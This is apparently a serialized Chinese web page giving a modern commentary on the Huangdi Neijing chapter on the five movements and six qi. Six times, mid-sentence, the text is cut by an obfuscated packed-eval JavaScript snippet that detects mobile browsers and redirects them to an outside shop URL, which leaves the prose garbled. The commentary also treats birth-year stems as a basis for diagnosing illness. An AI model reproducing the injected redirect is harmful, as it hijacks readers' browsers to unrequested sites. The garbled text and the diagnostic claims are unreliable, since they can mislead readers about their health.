“天元纪”，顾名思义，“天”指代浩瀚无垠的宇宙，“元”乃万物之始，根本所在，“纪”则意味着时序、法则与纲纪。将这三者结合，便构成了理解天地万物运行不息、生生不息的钥匙。在古代中医理论及天文历法中，“天元纪”常被用来阐述宇宙间的能量流动、气候变化与生物生长繁衍之间的微妙联系，是中医“五运六气”学说的理论基础之一。 从科学的角度来看，“天元纪”虽难以直接对应现代物理学的具体概念，但其背后所蕴含的周期性变化与相互作用的思想，却与天体运行、地球气候系统乃至生物节律的周期性变化不谋而合。例如，太阳系的行星运动、地球的自转与公转、季节的更迭、昼夜的变化等，都是宇宙间“天元纪”的具体体现，它们共同构成了地球生物生存与发展的外部环境。 在中医理论中，“天元纪”被进一步细化为“五运六气”的复杂系统，用以预测和解释自然气候的变化对人体健康的影响，指导疾病的预防与治疗。这种理论不仅体现了古代中国人对自然界的深刻洞察，也反映了他们追求天人合一、顺应自然的生活哲学。 谈及“大论”，这二字确如本篇所承载的学问一般，理深篇长，玄妙精微，仿佛是一部穿越时空的智慧巨着，引领我们深入探索五运六气学说的奥秘。 首先，让我们以严肃的科普口吻来解读这一术语。“大论”，顾名思义，是指篇幅宏大、论述深刻的文章或学说。在中医经典理论中，特别是当提及“五运六气”学说时，“大论”更是对该学说体系全面而深入的阐述。五运六气，作为中医理论中的独特部分，它融合了天文学、气象学、物候学以及人体生理病理学的知识，旨在揭示自然界周期性变化对人体健康与疾病发生发展的影响。 “大论”作为论述五运六气学说的开篇之作，其重要性不言而喻。它不仅奠定了五运六气学说的理论基础，更为后续的研究与实践提供了方向性的指导。在这篇“大论”中，古人以卓越的智慧和无尽的探索精神，将天文现象与人体健康紧密相连，构建了一个精妙绝伦的理论体系。 然而，若要以一种更为轻松诙谐的方式来理解“大论”，我们不妨想象一下，这就像是古人用一部长篇巨着来讲述一场跨越千年的“天气预报”与“健康指南”。他们不仅预测了风雨雷电的变幻莫测，还深入剖析了这些自然现象如何影响我们的身心健康。如此看来，“大论”不仅是一部深奥的学术着作，更是一本充满智慧与人文关怀的生活指南。 在这个知识分享的平台上，我们或许无法完全还原古人撰写“大论”时的场景与心境，但我们可以通过不断的学习与交流，共同探索五运六气学说的奥秘与智慧。无论是从科学的角度深入剖析其原理与应用，还是从文化的视角领略其独特魅力与价值，“大论”都将是我们不可或缺的宝贵财富。 总之，“天元纪”作为宇宙万物生化的本源和纲纪，既是古代智慧的结晶，也是现代科学探索的重要领域之一。我们可以通过跨学科的视角，将传统智慧与现代科学相结合，共同探索宇宙与生命的奥秘。 本篇文章，犹如一幅精心绘制的宇宙图谱，其主旨深邃而广阔，旨在为我们揭开运气学说那神秘而精妙的基本法则。这里，我们不仅邂逅了五运的流转、六气的更迭，还领略了四时变换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428778|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的韵律，以及形气相依的奥秘。每一个概念，都像是宇宙间精心布置的棋子，它们之间相互交织、相互影响，共同编织出一幅生动而复杂的万物生长图卷。 首先，让我们来谈谈“五运”。这五运，指的是金、木、水、火、土五种基本元素在宇宙间的运行变化。它们如同自然界的五位乐师，各自掌握着不同的旋律与节奏，共同演奏出一曲宇宙交响乐。这五运的盛衰变化，不仅影响着自然界的风云变幻，更与人体脏腑的机能、疾病的发生发展息息相关。 接下来是“六气”。六气者，风、寒、暑、湿、燥、火也。它们是大自然赋予我们的六种基本气候特征，也是万物生长不可或缺的条件。然而，当六气太过或不及，或是非其时而有其气时，便会成为致病的邪气，侵袭人体，引发疾病。 “四时”。四时者，春、夏、秋、冬四季更替也。它们如同自然界的四位守护者，各自掌管着一段时间的气候特点与万物生长的节奏。四时的有序更迭，不仅保证了自然界的生态平衡，也为人类社会的生产生活提供了重要的时间参照。 “形气”，则是指有形之体（如人体）与无形之气（如生命能量）之间的相互关系。形为气之宅，气为形之用，二者相辅相成，共同构成了生命的本质。在运气学说中，形气的和谐与否直接关系到人体的健康状态。 综上所述，本篇文章通过阐述运气学说的基本法则，以及五运、六气、四时、形气等概念的含义及其相互之间的关系，为 我们揭示了运气对宇宙万物的作用和影响。这不仅是对自然界奥秘的一次深刻探索，更是对人类生命健康智慧的一次重要总结。在知乎这个知识分享的平台上，我们愿与各位同仁一起，继续深入挖掘运气学说的精髓与魅力，共同为人类的健康事业贡献智慧与力量。 第30章 （1）五运与三阴三阳六气的精妙融合之道 在探讨黄帝问道这一古老智慧时，我们不禁被古人深邃的哲学思考与宇宙观所折服。黄帝所论的五行学说，实则是古人观察自然、理解世界的一种独特方式，它将宇宙万物归结为木、火、土、金、水五种基本元素，并赋予其统帅东、南、西、北、中五方及影响寒、暑、燥、湿、风等气候变化的角色。这一理论，在中医理论中更是得到了淋漓尽致的体现，尤其是在解释人体生理病理及情志变化方面。 首先，从自然环境的角度来看，五行与方位、气候的对应关系，揭示了自然界万物相生相克、循环不息的规律。木主东方，象征生发与生长，与春季、温暖湿润的气候相应；火主南方，代表炽热与光明，与夏季、炎热干燥的天气相连；土居中宫，为万物之母，象征稳定与包容，与四季更替中的平稳期及湿润适中的环境相关；金主西方，代表收敛与肃杀，与秋季、凉爽干燥的气候相配；水主北方，象征寒冷与潜藏，与冬季、严寒湿润的天气相呼应。 进而，这一自然哲学被巧妙地引入人体，形成了中医理论中关于五脏与五气的论述。中医认为，人体的五脏（肝、心、脾、肺、肾）各自化生特定的“气”（肝气疏泄、心气推动、脾气运化、肺气宣降、肾气藏精），这些气的正常运行与和谐共处，是维持人体健康的重要基础。同时，五脏又与五志（怒、喜、思、忧、恐）紧密相连，不同的情志活动能够影响五脏之气的平衡，反之亦然。例如，怒伤肝，喜伤心，思伤脾，忧伤肺，恐伤肾，这正是五行学说在情志养生领域的具体运用。 《黄帝内经》中的《六节脏象论》提到的“五运之气递相因袭，各有其固定的顺序到一年终结的那一天，是一个周期，然后重新开始循环”，我们从两个层面来解读这份跨越千年的智慧。 首先，从字面意义上讲，这句话描述的是中医理论中的“五运”概念，即木、火、土、金、水五行之气的周期性运转。在中医看来，这五种基本元素不仅构成了自然界的万物，还影响着气候的变迁、季节的更替以及人体的生理病理变化。它们按照固定的顺序，一年一循环，周而复始，展现了自然界生生不息、循环往复的奥秘。这种理解方式，让我们不禁对古人的宇宙观和时间观肃然起敬。 然而，如果我们尝试以更现代、更科学的视角来审视这一理论，或许可以将其视为一种对自然界周期性变化规律的朴素概括。从地球围绕太阳公转导致的季节变化，到生物体内生物钟的调节，再到人类社会历史发展中的周期性现象，无一不体现着“循环”这一宇宙间的基本法则。因此，《六节脏象论》中的这一论述，也可以被看作是对自然界及人类社会普遍存在的周期性现象的一种深刻洞察和哲学思考。 黄帝说：我还想再听听五运和三阴三阳这六气是怎样结合的呢？ 鬼叟区恭敬的向黄帝行了两次礼说：这个问题问的很高明啊。 当我们深入探讨“五运”与“阴阳”这两大哲学概念时，仿佛是在揭开自然界最深邃的秘密面纱。您所提到的这些道理，确实是理解宇宙万物运行规律的钥匙，也是探索生命奥秘、把握事物发展脉络的指南针。 首先，让我们从“五运”说起。在中医及古代哲学体系中，“五运”指的是木、火、土、金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428779|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、水五行之气的运转变化，它们不仅代表了自然界的五种基本物质形态，更蕴含了万物生长化收藏、循环往复的深刻哲理。五运的交替更迭，是自然界季节变换、气候演变的根本动力，也是万物生长发展的内在驱动力。它是自然界变化的根本规律之一，为万物提供了生长、变化、发展的舞台。 而“阴阳”，则是另一把打开宇宙奥秘之门的钥匙。阴阳学说认为，宇宙间的一切事物都可以归结为阴、阳两个方面，它们既相互对立又相互依存，共同推动着事物的发生、发展和变化。阴阳的消长转化，是事物发展变化的内在机制，也是宇宙间无穷尽变化的根本动力。正如昼夜交替、寒暑往来、生老病死等自然现象，都是阴阳相互作用、相互转化的结果。 万物的生长叫作“化”，这是阴阳五行之气在自然界中孕育、滋养万物的过程；发展到极点叫作“变”，这是事物在量变积累到一定程度后发生的质变；难以探测的阴阳变化叫作“神”，它揭示了阴阳变化之微妙、之玄妙，超乎人类感官所能直接感知的范畴；而“神”的作用，变化无边没有方所叫作“圣”，这是对阴阳五行变化规律至高无上、无所不能的赞美，也是对人类追求真理、探索未知精神的崇高敬仰。 阴阳变化，这一古老而深邃的哲学概念，仿佛一幅宏大的画卷，在天、地、人之间缓缓展开。在天，它表现为那深远无穷的宇宙，星辰运转，日月交替，无不是阴阳相互作用、相互转化的结果。这种变化，既让人感受到宇宙的浩瀚无垠，又让人惊叹于自然之美的无穷魅力。 这章没有结束，请点击下一页继续阅读！ 第30章 （2）五运分主四时的深度剖析 黄帝问：我想听听关于五运分主四时的情况是怎样的呢？ 鬼叟区说：五气运行每气各尽一年的365日，并不是只主四时”时，我们首先要理解其背后的哲学与天文学背景。 首先，从字面上看，这句话似乎在讨论自然界中五种基本能量的循环周期，并指出这些周期并非简单地与四季更迭相对应。在中国古代哲学中，五行（金、木、水、火、土）常被用来象征自然界的五种基本力量和构成万物的五种基本元素，它们之间的相生相克关系构成了宇宙运行的基本法则。而“五气”则是对五行之气的一种抽象表述，代表着这些基本力量的动态表现。 接下来，我们分析“每气各尽一年的365日”。从天文学的角度来看，地球绕太阳公转一周约为365.25天，即我们通常所说的一年。每种“气”或基本力量在自然界中都有其完整的、周期性的表现，且这种表现贯穿了整个年度，而非仅仅局限于某个特定的季节或时段。 同时进一步强调了五行（或五气）的广泛影响力和复杂性。在中国传统文化中，虽然五行常与四季（春木、夏火、秋金、冬水，土则寄旺于四季之末）相联系，但五行的概念远不止于此。它们不仅影响自然界的季节变化，还涉及万物生长、人体健康、社会运行等多个方面，具有更为深远和全面的意义。 自然界的五种基本力量（或五气）在一年中的每个时刻都在发挥作用，它们的运行周期虽然与地球公转周期相近，但其影响力和表现形式却远不止于四季的更迭，而是贯穿于整个整个年度，而非仅仅局限于某个特定的季节或时段。 黄帝说：请你把其中的道理讲给我听听。 鬼叟区说：广阔无边的天空是万物化生的本源和基础与天人合一”思想相契合，认为自然界的万物，包括人类，都源自于宇宙这个大系统，天空作为宇宙的一部分，自然成为了万物生长、演化的源泉。这种观念体现了古人对自然界的敬畏与探索精神。 “万物依靠它生长五运终而复始的运行与宇宙之中”，这里的“五运”指的是五行之气的运行变化，它们周而复始地影响着自然界的万物，使得万物得以生长、繁衍。这种运行规律不仅是自然界的法则，也是古人观察、理解世界的重要工具。 “布施天地真元之气，统摄大力生化的本源”，强调了天地间真元之气的重要性，它是万物生长、变化的根本动力。真元之气在天地间流转，统摄着万物的生生化化，使得自然界呈现出生机勃勃的景象。 九星悬照天空，七曜按周天之度旋转”这一壮丽天象，我们不禁要穿越到那个仰望星空、心怀敬畏的古代。首先，得澄清一下，虽然传统上“七曜”常指日、月及五大行星（金、木、水、火、土），但“九星”的具体指代在不同文化和时代中可能有所差异，有时可能包括了一些虚星或特定星宿的集合。不过，为了贴合题意，我们暂且将“九星”理解为包括七曜在内的广义概念，毕竟在古人的想象中，星辰浩瀚，难以尽数。 想象一下，夜幕低垂，万籁俱寂，九颗璀璨的星辰如同镶嵌在黑色天幕上的明珠，各自遵循着既定的轨迹缓缓移动，而七曜更是其中的佼佼者，它们按照“周天之度”——即古人对天体运行周期性的深刻理解——规律性地旋转，日复一日，年复一年。这样的景象，对于古人而言，无疑是宇宙秩序最直观、最震撼的体现。 古人通过观察这些天文现象，不仅积累了丰富的天文知识，还发展出了一套复杂而精妙的天文历法体系。他们发现，日月星辰的运行与季节的更替、气候的变化之间存在着微妙的联系。比如，日月的盈亏可以预示潮汐的涨落，而五星的聚散则可能与国家的兴衰、战争的胜败等人间大事相关联。这些发现不仅让古人能够提前做好准备，应对自然环境的挑战，还激发了他们对宇宙运行奥秘的无限遐想。 于是在天有了阴阳的不断变化，在地有了柔刚的不同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428780|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性质”，总结了天地之间的阴阳变化和万物性质的差异。阴阳是中国古代哲学中的基本概念之一，它代表了事物内部两种相反又相成的力量。在天文学中，阴阳的变化可以通过日月星辰的运行来观察；在地面上，则体现为万物柔刚不同的性质。这种阴阳变化和柔刚差异构成了自然界丰富多彩的面貌。 昼夜交替，幽暗与显明更迭，恰似大自然最精致的舞台剧，日复一日，年复一年，上演着宇宙间最古老而又最永恒的剧目。寒冷与暑热，如同季节的调色盘，为这世界涂抹上冬日的静谧与夏日的热烈，让生命在温度的起伏中体验着生存的韵律与节奏。 这生生不息之机，变化无穷之道，正是宇宙万物得以展现其独特魅力的源泉。从微观世界的粒子跃动，到宏观宇宙的星系旋转，每一刻都在诉说着变化与永恒的故事。而宇宙万物的不同形象，正是在这无尽的变化中逐渐显露，无论是山川湖海的壮丽，还是花鸟虫鱼的细腻，都是大自然鬼斧神工的杰作，让人不禁感叹于造物主的神奇与伟大。 当然，从科学的角度来看，昼夜交替、季节更替等现象背后都有着深刻的物理原理。地球的自转导致了昼夜的更替，而地球围绕太阳的公转以 及地轴的倾斜则共同决定了季节的变化。这些自然现象不仅为生命提供了适宜的生存环境，还促进了生物多样性的发展，使得地球成为了一个充满生机与活力的星球。 因此，当我们仰望星空，感受昼夜的更迭与季节的轮转时，不妨也思考一下这些自然现象背后的科学奥秘，以及它们对我们生活的影响和启示。这样，我们或许能更加深刻地理解宇宙万物的内在联系和变化规律，从而更加珍惜这个来之不易的美丽家园。 综上所述，鬼叟区的这段论述深刻反映了中国古代哲学对自然界的独特理解和深刻洞察。它不仅揭示了天地万物之间的内在联系和变化规律，还为我们理解自然界的复杂性和多样性提供了有益的启示。 第30集（3）揭秘“形有盛衰”的深层含义：理解万物的自然规律 黄帝说气有多少，形有盛衰，指的是什么？ 鬼叟区说：阴阳学说是一个核心概念，它不仅仅是对立统一的哲学思想，更是阐释人体生理病理。“三阴三阳”，即厥阴、少阴、太阴与少阳、阳明、太阳，正是这一理论在人体经络、脏腑功能及病理变化中的具体体现，它们各自代表了阴阳之气在不同层面的多寡与平衡状态。 阴气的层次解析 厥阴：作为一阴，厥阴处于阴气初生而未尽的阶段，象征着自然界中阴尽阳生、夜半子时的微妙时刻。在人体，厥阴常与肝经相联系，肝主疏泄，调畅气机，厥阴病变多涉及情志、气血的逆乱。 少阴：二阴之位，少阴标志着阴气进一步增长，但仍未至极盛。在中医里，少阴常与心肾相关，特别是肾为先天之本，藏精主水，少阴病变多涉及心肾不交、水火不济等。 太阴：三阴之终，太阴代表了阴气的最盛状态，如同长夜之末，黎明将至。在人体，太阴与脾肺相关，脾主运化，为气血生化之源；肺主气，司呼吸，太阴病变多表现为脾胃功能失调、水湿内停等。 阳气的层次解析 少阳：一阳初生，少阳象征着阳气初升，万物复苏的春天。在人体，少阳与胆经相关，胆主决断，少阳病变多表现为气机不畅、情绪抑郁等。 阳明：二阳之位，阳明代表着阳气旺盛，如同日中之光，普照万物。在中医理论中，阳明与胃、大肠相关，胃为水谷之海，大肠主传导糟粕，阳明病变多表现为胃肠实热、便秘等。 太阳：三阳之极，太阳象征着阳气最盛，如同夏日烈日，炽热无比。在人体，太阳与膀胱经、小肠经密切相关，膀胱主气化，小肠分清泌浊，太阳病变多表现为表证、寒热水液代谢失常等。 三阴三阳不仅是对阴阳之气多寡的划分，更是中医对人体生理病理深刻理解的具体体现。它们相互制约、相互依存，共同维持着人体的阴阳平衡与健康状态。 谈及形有盛衰，天干运气太过与不及”的古老智慧时，我们仿佛是在解开一幅描绘宇宙自然与人类生活紧密相连的宏伟画卷。即天地万物皆遵循着阴阳消长、五行生克的自然规律。 让我们用一种更加通俗易懂的方式来理解这个概念。想象一下，如果我们将天干的运气比作是大自然中的四季更迭，那么“太过的阳年”就像是夏季的烈日炎炎，万物生长旺盛，但也可能带来干旱与酷热；“不及的阴年”则如同冬季的寒风凛冽，万物收藏，但也可能伴随着寒冷与萧瑟。而这两者之间的交替，正是自然界中阴阳平衡、盛衰循环的生动体现。 那么，如何理解并预测这种运气的盛衰变化呢？关键在于把握“迎之而至”与“随之而至”的两种不同气运那。在中医运气学说中，这不仅仅是简单的气候预测，更是对人体健康、疾病流行等方面的重要指导。通过深入研究天干地支、五行属性以及它们之间的相互作用关系，我们可以大致预测出某一年份的气候特点、疾病流行趋势以及人体可能面临的健康挑战。 具体来说，当我们知道某一年是“太过的阳年”时，就可以预见到该年可能偏于炎热干燥，容易出现与热邪、燥邪相关的疾病。而紧随其后的“不及的阴年”，则可能带来寒冷潮湿的气候环境，增加寒湿类疾病的发病风险。再往后，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428781|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太过的阳年”再次来临，又将是另一轮盛衰循环的开始。 因此，对于想要预先知道一年中运气盛衰情况的人来说，学习并理解中医运气学说的相关知识是非常有必要的。这不仅能够帮助我们更好地适应自然环境的变化，保护自身健康；还能够指导我们在农业生产、疾病预防等多个领域做出更加科学合理的决策。 当然，需要强调的是，中医运气学说虽然博大精深，但并非万能的预测工具。它更多的是为我们提供了一种认识自然、理解自然、顺应自然的思维方式和方法论。在实际应用中，我们还需要结合具体情况进行综合分析和判断。 在中医运气学的浩瀚星空中，我们时常会遇到这样一些神秘而又精准的概念，比如“天符之年”、“岁直之年”以及“三合之年”或“治化之岁”。这些概念如同星辰般璀璨，指引着古人探索自然与人体健康的奥秘。 当我们踏入“天符之年”这个话题的奇妙领域时，不妨先闭上眼，让思绪飘向那浩瀚无垠的星空。想象一下，在宇宙的大舞台上，每一年的气候特征，就像是天空中缓缓移动的星辰，它们遵循着古老的规律，编织着自然界的壮丽诗篇。而“天符之年”，便是这星辰交响曲中最为和谐、最为璀璨的一章。 当一年的中运之气——那位年度气候的领航者，与上半年主导气候力量的司天之气，在宇宙的某个神秘时刻，不期而遇，仿佛两颗遥远的星辰跨越时空的界限，精准地排列在同一直线上。这一刻，不仅是自然界的奇迹，更是中医运气学说中最为精妙绝伦的注解。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第30章 （4）天气地气相互感应，揭示自然环境的微妙平衡 黄帝问：天气和地气相互感召的情况是怎么样的呢？ 鬼叟区说：“寒暑燥湿风火”与天的阴阳三阴三阳对应关系时，传统五行应为“木火土金水”与地的阴阳生长化收藏的联系时，我们可以从中医理论及古代哲学的角度进行一番深入浅出的分析。 首先，关于“寒暑燥湿风火”，这六气在中医理论中被称为“六淫”，是自然界六种不同的气候变化，它们与天的阴阳变化及三阴三阳（即太阳、阳明、少阳、太阴、少阴、厥阴）有着紧密的对应关系。这种对应体现了古人对自然界变化规律的深刻洞察和哲学思考。 我们来看“木火土金水”中的五行与地的阴阳生长化收藏的关系。“木火土金水”，循环相生相克，以描述自然界万物生长变化的规律。五行与地的阴阳生长化收藏（或称“生、长、化、收、藏”）紧密相连，反映了自然界万物从萌发到成熟，再到收藏于内的生命周期。木代表生长之初，与春之阳气生发相应；火代表旺盛，对应夏之热烈；土居中，为万物之母，代表化育之功，与长夏（四季末）的稳定生长相符；金代表收敛，对应秋之肃杀；水代表收藏，与冬之闭藏相应。这五行不仅描述了自然界的物质构成，更蕴含了生命循环不息的哲理。 “天是阳生阴长，地是阳杀阴藏”这一古老而深邃的哲学观念时，我们仿佛穿梭于古人智慧的浩瀚星空之下，试图捕捉那抹关于宇宙万物阴阳交错的微妙平衡。 让我们以一种既不失传统韵味又略带现代视角的方式来解读：“天”在这里，不仅指我们抬头仰望的蓝天，更象征着宇宙间无限的光明与生机，是阳性能量的源泉。阳生阴长，意味着在光明与温暖的照耀下，万物得以生长繁衍，阴性特质（如滋养、内敛）在阳性（如活力、扩张）的推动下悄然壮大，两者相辅相成，共同编织着生命的织锦。 而“地”，作为万物之基，承载着厚重与沉稳，它不仅是物质世界的根基，也隐喻着阴性的收纳与蕴藏。阳杀阴藏，并非字面意义上的杀戮与隐藏，而是指在大地的怀抱中，随着季节更迭、昼夜交替，阳性力量（如夏日炽热、白昼光明）的强盛会促使部分生命现象进入休整或收藏阶段，阴性特质得以在此刻彰显，如秋收冬藏，万物归宁，体现了自然界中生命循环不息、阴阳互转的规律。 天地相合，正是这阴阳二气在宇宙间和谐共生的完美体现。它们既相互对立，又相互依存，如同太极图中的黑白双鱼，相互追逐又相互包容，构成了世界万物变化发展的根本动力。我们之所以要深刻理解天地之阴阳，是因为这不仅是古人对自然界运行规律的深刻洞察，更是指导我们认识世界、理解生命、追求和谐共生的重要哲学思想。 在现代社会，这种阴阳平衡的理念依然具有深远的启示意义。它提醒我们，在快速发展的同时，也要注重内心的宁静与和谐，学会在繁忙与宁静、进取与退守之间找到属于自己的平衡点，从而实现个人与社会的可持续发展。 五运六气”学说，它融合了天文、历法、气象与医学的精髓，是古代先贤们对自然界周期性变化规律的一种深刻洞察。 五行应于天干而为五运”这一中医理论的精髓时，仿佛是在揭开自然界与人类生命之间那层神秘而又微妙的联系。在中医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428782|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的五行学说里，木、火、土、金、水这五种元素，早已超越了它们作为自然界基本物质形态的表象，成为了生命过程变化规律的深刻象征。 想象一下，自然界的万物生长、繁荣、衰败、再生，这一切不正是五行相生相克、循环不息的生动演绎吗？而天干，作为古代中国人用来纪年、纪月、纪日、纪时的符号，与五行之间建立了紧密的联系。甲、乙属木，象征着生命的萌发与生长；丙、丁属火，代表着热烈与光明；戊、己属土，是万物生长的根基与归宿；庚、辛属金，寓意着收获与变革；壬、癸属水，则是滋养与循环的源泉。这些天干与五行的对应关系，构成了中医理论中的“五运”概念，它们如同自然界的脉搏，跳动不息，每五年一个周期，记录着自然界能量状态的周期性变迁。 这种变迁，不仅仅是气候的冷暖交替、物候的更迭变换，更是对人体健康产生深远影响的重要因素。中医强调“天人合一”，认为人体是自然界的一部分，其生理机能与自然界的变化息息相关。因此，通过观察五运的变迁，中医能够预测疾病的发生趋势，指导人们顺应自然规律进行养生防病。例如，在木运之年，由于木气生发旺盛，人体肝气也易于疏泄太过，此时应注意调畅情志，避免肝气郁结或肝火过旺；而在水运之年，水气偏盛，人体肾气易受影响，需注重温补肾阳，以防寒湿侵袭。 谈到“六气应于地支，为三阴三阳”，这仿佛是中医理论与天文学的一场跨界对话，将自然界的微妙变化与时间的流转巧妙地编织在一起。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第30章 （5）五行学说如何结合天干五运，调理身体平衡的秘密 黄帝之言，蕴含了深邃的哲理与智慧，它不仅仅是对言谈能力的赞誉，更是对认知世界、把握事物本质的一种高度概括。 黄帝说：“善于谈论事物之起始的人，必然也能知道他的结果”，在知识的海洋里，每一件事物、每一个现象都有其发生、发展、高潮、衰落的完整过程。能够洞察其起始，便如同手握了一把钥匙，能够逐步解锁其后续发展的种种可能，直至预见到其最终的结果。这种能力，是深度思考与逻辑推断的结晶，也是科学探索与哲学思考的共同追求。 善于谈论近处之事情的人，必然也能推及远处的事物”，这则是类比与联想能力的体现。世间万物，虽形态各异，但往往存在着千丝万缕的联系。一个敏锐的观察者，能够从一个细微的现象出发，通过类比、联想等思维工具，将视野扩展到更广阔的领域，发现那些看似不相关事物之间的内在联系。这种能力，使得我们的认知不再局限于眼前，而是能够跨越时空的界限，触及更深远的领域。 当一个人能够系统地把握事物的起承转合，又能够灵活地将近处之事与远处之物相联系，他的思维便如同穿透了迷雾的灯塔，照亮了前行的道路。此时的他，对于世界的认知已然达到了一个全新的高度，那些曾经让他感到困惑的问题，如今都变得清晰明了；那些曾经复杂难解的现象，如今都能被他一一拆解，深刻把握其内在规律。这便是“彻底明了”的境界，是智慧与洞察力的完美结合。 黄帝说：请先生把这些道理进一步加以推演使其更有条理，简明而又无遗漏，使其成为医道的纲领。五运六气的至理要道。我想听您详细的讲讲。 鬼叟区说：正是中医五行学说中，关于天干与五运的对应关系，这一理论深邃而精妙，是古人观察自然、体悟天地运行规律的智慧结晶。 在中医及古代哲学体系中，五行（金、木、水、火、土）被视为构成宇宙万物的基本元素，同时也是描述事物之间相互关系的重要工具。而天干（甲、乙、丙、丁、戊、己、庚、辛、壬、癸），则是古人用以记录时间、推算历法的一套符号系统。将这两者相结合，便形成了天干配五运的理论。 五行（金、木、水、火、土）与十天干（甲、乙、丙、丁、戊、己、庚、辛、壬、癸）的对应关系，不仅是对自然界万物生长化收藏规律的抽象概括，也是中医“天人合一”思想的具体体现。 在中医看来，自然界的五行之气，随着年份的更迭而依次主导，形成了所谓的“五运”。甲己之年土运统之，意味着这一年土气偏盛，可能会影响到与土相关的脏腑（如脾、胃）的功能，以及土所克制的脏腑（如水所代表的肾）的平衡。同理，乙庚之年金运当令，金气过旺可能影响到肺与大肠，同时也会影响到金所克制的木（肝）的生理状态。丙辛之年水运为主，丁壬之年木运为主，戊癸之年火运为主，皆是如此，各自反映了不同年份下自然界五行之气的盛衰变化，以及这种变化对人体健康可能产生的影响。 这一理论在中医临床中有着广泛的应用。医生会根据患者发病的时间、症状表现，结合当年的五运六气特点，进行综合分析，从而制定出更加精准的治疗方案。比如，在土运偏盛的年份，若遇脾胃疾病多发，治疗时可能会更加注重健脾和胃，同时兼顾调理其他受影响的脏腑，以达到恢复人体五行平衡、促进疾病康复的目的。 在中医的浩瀚理论体系中，五脏与五行的对应关系确实如同一幅精妙的画卷，既展现了自然界的和谐共生，也揭示了人体内部的微妙平衡。当谈及五脏病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428783|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变与五运盛衰的关联时，我们仿佛是在探索一个古老而又深邃的密码，这个密码连接着天地人三才，使得中医的诊断与治疗充满了独特的智慧与韵味。 想象一下，医生在诊室中，不仅用望闻问切的传统手法感知患者的身体状况，还仿佛是一位精通天文历法的智者，能够从患者出生年份的天干中，捕捉到五运流转的蛛丝马迹。这种跨越时空的诊断方式，正是中医“天人合一”思想的生动体现。 以肝为例，肝属木，与春季的生发之气相应。若患者出生于木运较旺的年份，如丁壬之年，理论上其肝气可能较为充沛，但也可能因木过旺而克土（脾），导致脾胃功能相对较弱。医生在诊断时，便会留意这一点，观察患者是否有肝气郁结或脾胃不和的症状，从而在治疗上做出相应的调整，如疏肝解郁、健脾和胃等。 